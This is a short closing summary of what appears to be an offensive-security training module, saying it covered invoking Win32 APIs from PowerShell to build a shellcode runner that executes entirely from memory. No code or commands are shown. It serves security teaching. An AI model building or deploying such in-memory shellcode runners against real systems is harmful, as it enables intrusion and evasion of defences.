In this module, we discussed how to invoke Win32 APIs from PowerShell, allowing us to create a shellcode runner. We also improved the shellcode runner to execute entirely from memory.